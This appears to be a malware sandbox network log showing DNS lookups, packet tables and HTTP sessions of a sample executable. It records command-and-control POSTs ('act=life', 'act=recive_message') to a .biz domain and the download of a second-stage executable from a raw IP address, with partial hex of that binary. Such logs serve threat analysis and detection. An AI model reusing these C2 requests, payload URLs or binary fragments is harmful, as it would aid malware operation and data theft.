Dec 4, 2024 16:12:26.714257956 CET	49904	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.714262962 CET	443	49904	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.717464924 CET	49908	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.717515945 CET	443	49908	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:26.717586994 CET	49908	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.717737913 CET	49908	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:26.717758894 CET	443	49908	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:27.121727943 CET	443	49905	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:27.121813059 CET	443	49905	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:27.121916056 CET	49905	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:27.122533083 CET	49905	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:27.122555017 CET	443	49905	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:27.122581005 CET	49905	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:27.122586966 CET	443	49905	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:27.128108025 CET	49909	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:27.128153086 CET	443	49909	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:27.128253937 CET	49909	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:27.132953882 CET	49909	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:27.132975101 CET	443	49909	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:27.290777922 CET	443	49886	172.217.171.228	192.168.2.12
Dec 4, 2024 16:12:27.290858984 CET	443	49886	172.217.171.228	192.168.2.12
Dec 4, 2024 16:12:27.290927887 CET	49886	443	192.168.2.12	172.217.171.228
Dec 4, 2024 16:12:27.361448050 CET	443	49906	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:27.362296104 CET	49906	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:27.362335920 CET	443	49906	13.107.246.63	192.168.2.12
Dec 4, 2024 16:12:27.362818956 CET	49906	443	192.168.2.12	13.107.246.63
Dec 4, 2024 16:12:27.362827063 CET	443	49906	13.107.246.63	192.168.2.12

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 16:10:20.578259945 CET	57429	53	192.168.2.12	1.1.1.1
Dec 4, 2024 16:10:20.824812889 CET	53	57429	1.1.1.1	192.168.2.12
Dec 4, 2024 16:11:11.916450024 CET	53	56611	1.1.1.1	192.168.2.12
Dec 4, 2024 16:11:11.939347029 CET	53	51008	1.1.1.1	192.168.2.12
Dec 4, 2024 16:11:14.353029013 CET	53	54172	1.1.1.1	192.168.2.12
Dec 4, 2024 16:11:16.042654991 CET	60219	53	192.168.2.12	1.1.1.1
Dec 4, 2024 16:11:16.042946100 CET	59037	53	192.168.2.12	1.1.1.1
Dec 4, 2024 16:11:16.270116091 CET	53	59037	1.1.1.1	192.168.2.12
Dec 4, 2024 16:11:16.275075912 CET	53	60219	1.1.1.1	192.168.2.12
Dec 4, 2024 16:11:18.050131083 CET	63161	53	192.168.2.12	1.1.1.1
Dec 4, 2024 16:11:18.050265074 CET	59242	53	192.168.2.12	1.1.1.1
Dec 4, 2024 16:11:18.356417894 CET	51748	53	192.168.2.12	1.1.1.1
Dec 4, 2024 16:11:18.356545925 CET	62170	53	192.168.2.12	1.1.1.1
Dec 4, 2024 16:11:21.534234047 CET	63080	53	192.168.2.12	1.1.1.1
Dec 4, 2024 16:11:21.534703016 CET	55984	53	192.168.2.12	1.1.1.1
Dec 4, 2024 16:11:26.460515022 CET	53	58736	1.1.1.1	192.168.2.12
Dec 4, 2024 16:11:31.646848917 CET	53	52594	1.1.1.1	192.168.2.12
Dec 4, 2024 16:11:50.352876902 CET	53	64550	1.1.1.1	192.168.2.12
Dec 4, 2024 16:12:11.560947895 CET	53	59128	1.1.1.1	192.168.2.12
Dec 4, 2024 16:12:12.730531931 CET	53	63784	1.1.1.1	192.168.2.12
Dec 4, 2024 16:12:18.058562994 CET	51243	53	192.168.2.12	1.1.1.1
Dec 4, 2024 16:12:18.058701038 CET	61159	53	192.168.2.12	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 4, 2024 16:11:13.936160088 CET	192.168.2.12	1.1.1.1	c2eb	(Port unreachable)	Destination Unreachable
Dec 4, 2024 16:11:18.705530882 CET	192.168.2.12	1.1.1.1	c2bc	(Port unreachable)	Destination Unreachable
Dec 4, 2024 16:11:20.773585081 CET	192.168.2.12	1.1.1.1	c2eb	(Port unreachable)	Destination Unreachable
Dec 4, 2024 16:11:26.460628986 CET	192.168.2.12	1.1.1.1	c236	(Port unreachable)	Destination Unreachable
Dec 4, 2024 16:11:30.257093906 CET	192.168.2.12	1.1.1.1	c2a5	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 4, 2024 16:10:20.578259945 CET	192.168.2.12	1.1.1.1	0xc211	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:11:16.042654991 CET	192.168.2.12	1.1.1.1	0xe5b8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:11:16.042946100 CET	192.168.2.12	1.1.1.1	0xe95d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 4, 2024 16:11:18.050131083 CET	192.168.2.12	1.1.1.1	0xa944	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:11:18.050265074 CET	192.168.2.12	1.1.1.1	0x738d	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Dec 4, 2024 16:11:18.356417894 CET	192.168.2.12	1.1.1.1	0x31be	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:11:18.356545925 CET	192.168.2.12	1.1.1.1	0xf9e3	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 4, 2024 16:11:21.534234047 CET	192.168.2.12	1.1.1.1	0x5a9e	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:11:21.534703016 CET	192.168.2.12	1.1.1.1	0x6f21	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 4, 2024 16:12:18.058562994 CET	192.168.2.12	1.1.1.1	0xd6b	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:12:18.058701038 CET	192.168.2.12	1.1.1.1	0xae26	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 4, 2024 16:10:20.824812889 CET	1.1.1.1	192.168.2.12	0xc211	No error (0)	atten-supporse.biz		188.114.96.6	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:10:20.824812889 CET	1.1.1.1	192.168.2.12	0xc211	No error (0)	atten-supporse.biz		188.114.97.6	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:11:16.270116091 CET	1.1.1.1	192.168.2.12	0xe95d	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 4, 2024 16:11:16.275075912 CET	1.1.1.1	192.168.2.12	0xe5b8	No error (0)	www.google.com		172.217.171.228	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:11:18.283217907 CET	1.1.1.1	192.168.2.12	0x738d	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:18.288693905 CET	1.1.1.1	192.168.2.12	0xa944	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:18.497535944 CET	1.1.1.1	192.168.2.12	0x31be	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:18.497535944 CET	1.1.1.1	192.168.2.12	0x31be	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:18.497535944 CET	1.1.1.1	192.168.2.12	0x31be	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:18.497535944 CET	1.1.1.1	192.168.2.12	0x31be	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:11:18.589380026 CET	1.1.1.1	192.168.2.12	0xfbe5	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:18.589380026 CET	1.1.1.1	192.168.2.12	0xfbe5	No error (0)	shed.dual-low.s-part-0015.t-0009.t-msedge.net	s-part-0015.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:18.589380026 CET	1.1.1.1	192.168.2.12	0xfbe5	No error (0)	s-part-0015.t-0009.t-msedge.net		13.107.246.43	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:11:18.705394030 CET	1.1.1.1	192.168.2.12	0xbf7e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:18.858334064 CET	1.1.1.1	192.168.2.12	0xf9e3	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:18.858334064 CET	1.1.1.1	192.168.2.12	0xf9e3	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:21.347141981 CET	1.1.1.1	192.168.2.12	0xf121	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:21.437351942 CET	1.1.1.1	192.168.2.12	0xac35	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:21.437351942 CET	1.1.1.1	192.168.2.12	0xac35	No error (0)	shed.dual-low.s-part-0015.t-0009.t-msedge.net	s-part-0015.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:21.437351942 CET	1.1.1.1	192.168.2.12	0xac35	No error (0)	s-part-0015.t-0009.t-msedge.net		13.107.246.43	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:11:21.680984020 CET	1.1.1.1	192.168.2.12	0x6f21	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:21.680984020 CET	1.1.1.1	192.168.2.12	0x6f21	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:21.773802042 CET	1.1.1.1	192.168.2.12	0x5a9e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:21.773802042 CET	1.1.1.1	192.168.2.12	0x5a9e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:21.773802042 CET	1.1.1.1	192.168.2.12	0x5a9e	No error (0)	shed.dual-low.s-part-0015.t-0009.t-msedge.net	s-part-0015.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:21.773802042 CET	1.1.1.1	192.168.2.12	0x5a9e	No error (0)	s-part-0015.t-0009.t-msedge.net		13.107.246.43	A (IP address)	IN (0x0001)	false
Dec 4, 2024 16:11:32.355036974 CET	1.1.1.1	192.168.2.12	0x4ddd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:32.366914034 CET	1.1.1.1	192.168.2.12	0x605f	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:39.083116055 CET	1.1.1.1	192.168.2.12	0xc31c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:11:39.083239079 CET	1.1.1.1	192.168.2.12	0x5d30	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:12:18.293097019 CET	1.1.1.1	192.168.2.12	0xd6b	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 4, 2024 16:12:18.300009966 CET	1.1.1.1	192.168.2.12	0xae26	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

slscr.update.microsoft.com

fs.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

otelrules.azureedge.net

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49724	185.215.113.16	80	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 16:10:57.689030886 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 4, 2024 16:10:59.050087929 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 04 Dec 2024 15:10:58 GMT Content-Type: application/octet-stream Content-Length: 2745344 Last-Modified: Wed, 04 Dec 2024 14:25:36 GMT Connection: keep-alive ETag: "67506660-29e400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 1a 3a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`* `@ :`Ui` @ @.rsrc`2@.idata 8@rvyjgine)):@ccoiqgea @)@.taggant@`")@
Dec 4, 2024 16:10:59.050102949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 4, 2024 16:10:59.050115108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 4, 2024 16:10:59.050215006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 4, 2024 16:10:59.050226927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 4, 2024 16:10:59.050400019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 4, 2024 16:10:59.050411940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 4, 2024 16:10:59.050718069 CET	868	IN	Data Raw: 40 84 79 5c 18 63 78 17 a7 70 7a 9f 97 06 dd 4c 43 3f c3 7c 02 5d d6 3c d3 b6 b4 1d 69 3d 24 67 ff 08 0e f8 66 1b e3 bc 4f f3 bc 46 76 41 48 1c b2 b9 98 4c ee 8a 75 01 a0 5b 7b 03 b0 b1 31 6a b6 82 68 5d 18 8f 6c a5 fc a6 99 06 92 a0 7b ec de eb Data Ascii: @y\cxpzLC?\|]<i=$gfOFvAHLu[{1jh]l{jx6qijVhi#KashnWc{k}5<(o#R+u/tDjY]^jBn6=q[Qm\|UoabD<cg6b#?i1>n
Dec 4, 2024 16:10:59.050730944 CET	1236	IN	Data Raw: 5f 8e 96 ef 95 5a 70 dc 16 9f 8e 0c 96 8e 6c b9 95 58 c0 46 98 3c 72 81 d7 5a 7a d0 59 c9 a7 d6 9f 73 e1 05 e7 93 62 14 9f bf 7e bf 5b b1 fe 10 1a 69 2a 1a 51 9f c4 97 c6 9f fe 4d 98 28 72 17 6e 06 95 3a 95 80 a2 7d 4c 6c 7d 6e 4e b4 c9 7c 92 6e Data Ascii: _ZplXF<rZzYsb~[i*QM(rn:}Ll}nN\|nN%2mdsj_bm>Jlq;A}\|aU\|u}m\Ls\eWV,9`C9t#`2l{G3@:ededm#:S>]C
Dec 4, 2024 16:10:59.050744057 CET	1236	IN	Data Raw: d5 7b a2 b6 fc 7f 5f 17 98 5d c7 b0 02 36 f5 b2 03 5b d3 d7 8b 68 2f 42 ac 4a 58 b7 08 63 31 78 05 4e 7b 41 db 1e ad ba f5 14 a6 8d 03 64 cf 96 a0 5c 28 48 67 7a 60 bc 07 77 71 b7 f2 83 82 58 f1 89 e7 9d ce 2c c2 85 ed fe a1 06 00 67 c3 c3 2a 2e Data Ascii: {_]6[h/BJXc1xN{Ad\(Hgz`wqX,g*.zaW_4')n4lV_]Gvb'e}}FmOC,eL%~'ANomfx>!m jGvDvH
Dec 4, 2024 16:10:59.169990063 CET	248	IN	Data Raw: be 6f e5 d7 3a 40 45 51 e1 48 a6 21 d9 ee dc 56 a5 80 e5 4a 1e b4 5f 19 cb 53 6c 57 7d 7a 55 3c d7 ac be a7 0a ca 7a 2c d9 35 e6 ea 19 8a 94 69 b2 4f 86 32 38 b1 12 12 65 4c 66 ac b7 5c ba d4 55 7d 81 7e fc db fd 5a 4d 69 9f 20 b1 5d 6c b1 e0 6a Data Ascii: o:@EQH!VJ_SlW}zU<z,5iO28eLf\U}~ZMi ]lj{P"R^`#(h^l`Qm"JTsV1dx^`u7AL9yGANR~~poqG.FnQdjMasEyl"x`i}mfum 9e

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49711	188.114.96.6	443	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:10:22 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-04 15:10:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-04 15:10:24 UTC	1018	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:10:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8ocrtdqpk646a3siuvtvtbri7g; expires=Sun, 30-Mar-2025 08:57:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BnL6cwkEcnzkYEw2U5Xu%2BFrDgyweRwK%2BXGR0gPMUjKNJ6RwASNr5SXxdAG904d3r39jqIvFzwNtZYU2YJW2vgqMQ9neQVU0gTH%2FxXU4P75uaC15KC3wSAeMoSWxBul6a6i4Mol4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eccb90d9a5342a0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2553&min_rtt=2544&rtt_var=972&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1115781&cwnd=222&unsent_bytes=0&cid=2175f0cfde9fa3cd&ts=2681&x=0"
2024-12-04 15:10:24 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-04 15:10:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49712	188.114.96.6	443	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:10:26 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-04 15:10:26 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-04 15:10:28 UTC	1020	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:10:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rbt79cqukdt3q30gjvv5ekd6rk; expires=Sun, 30-Mar-2025 08:57:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FCt5tpEdBOaEXIDVcINZf50sPoV2uXKRSRz8Dzscch5fIb9Dh4gy9LQfPfJyHURmN0WFT31x2%2F9lybgVMCwt2SvSwHYglpwH%2BMK8%2B82CFVi3%2Fd9tClTDO7bLH%2FDOlbeoNbBjOrw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eccb92678fd41e3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1753&min_rtt=1746&rtt_var=670&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=955&delivery_rate=1615938&cwnd=211&unsent_bytes=0&cid=a1670d576823c19e&ts=2210&x=0"
2024-12-04 15:10:28 UTC	349	IN	Data Raw: 34 34 38 38 0d 0a 6a 49 4e 5a 37 74 6c 62 2f 45 51 78 41 78 6f 63 32 48 51 6d 38 50 7a 73 51 68 35 78 47 6d 2b 50 50 75 72 33 53 37 36 49 55 61 62 33 6f 53 2f 4d 34 32 2f 51 5a 6b 4a 6d 4f 43 61 73 42 6c 4f 56 30 4d 34 6a 65 6c 4d 67 43 65 35 53 6d 5a 4a 6e 6e 50 34 38 68 4c 62 6c 4f 49 4b 71 50 74 42 6d 56 48 73 34 4a 6f 4d 50 42 4a 57 53 7a 6e 67 38 46 48 41 4e 37 6c 4b 49 6c 69 44 52 2b 44 33 46 35 4f 38 2b 68 72 77 34 6d 43 56 64 62 6e 39 35 76 52 56 4d 6e 70 57 42 4b 6e 4e 54 4e 6b 33 71 52 4d 6a 4e 61 66 50 74 4a 63 66 42 34 69 71 46 2b 79 62 51 50 78 4e 6d 64 44 37 69 56 6b 65 56 6e 6f 41 6b 65 68 70 79 42 2b 64 61 69 5a 4d 68 7a 75 45 33 7a 75 54 68 50 59 65 32 4d 59 77 6f 56 32 6c 30 66 37 63 56 42 4e 7a 65 69 54 67 38 53 7a 68 65 33 31 2b 5a 68 Data Ascii: 4488jINZ7tlb/EQxAxoc2HQm8PzsQh5xGm+PPur3S76IUab3oS/M42/QZkJmOCasBlOV0M4jelMgCe5SmZJnnP48hLblOIKqPtBmVHs4JoMPBJWSzng8FHAN7lKIliDR+D3F5O8+hrw4mCVdbn95vRVMnpWBKnNTNk3qRMjNafPtJcfB4iqF+ybQPxNmdD7iVkeVnoAkehpyB+daiZMhzuE3zuThPYe2MYwoV2l0f7cVBNzeiTg8Szhe31+Zh
2024-12-04 15:10:28 UTC	1369	IN	Data Raw: 68 50 59 4b 36 4e 4a 34 30 57 32 70 7a 65 36 67 64 54 5a 2b 54 6a 69 31 32 48 48 73 4e 36 6c 61 43 6d 69 50 59 35 7a 37 43 37 75 46 37 77 76 73 2b 68 6d 59 4c 49 56 74 37 71 68 46 49 68 4e 79 30 59 47 4e 64 59 55 33 71 55 4d 6a 4e 61 64 54 76 4d 4d 66 6c 37 6a 69 45 73 43 75 65 4e 46 56 73 66 57 79 38 45 30 71 59 6e 5a 77 71 63 68 56 37 42 4f 5a 56 6a 5a 49 74 6e 4b 52 7a 77 2f 61 68 59 38 79 61 4e 4a 55 71 57 58 5a 34 50 71 56 59 58 64 4b 5a 67 6d 41 6b 55 33 77 4d 36 56 32 4d 6d 79 66 59 35 6a 58 4b 34 2b 34 39 68 72 73 2b 6c 43 35 62 59 48 56 31 74 52 5a 42 6e 35 71 49 4c 48 30 57 4f 45 4f 74 57 35 44 56 63 5a 7a 45 4e 4d 66 38 6f 77 36 50 74 54 65 5a 4d 42 4e 2b 4e 6d 66 36 45 55 6a 53 78 73 34 75 65 52 78 71 44 50 39 5a 68 6f 63 6c 32 65 77 2b 78 2b Data Ascii: hPYK6NJ40W2pze6gdTZ+Tji12HHsN6laCmiPY5z7C7uF7wvs+hmYLIVt7qhFIhNy0YGNdYU3qUMjNadTvMMfl7jiEsCueNFVsfWy8E0qYnZwqchV7BOZVjZItnKRzw/ahY8yaNJUqWXZ4PqVYXdKZgmAkU3wM6V2MmyfY5jXK4+49hrs+lC5bYHV1tRZBn5qILH0WOEOtW5DVcZzENMf8ow6PtTeZMBN+Nmf6EUjSxs4ueRxqDP9Zhocl2ew+x+
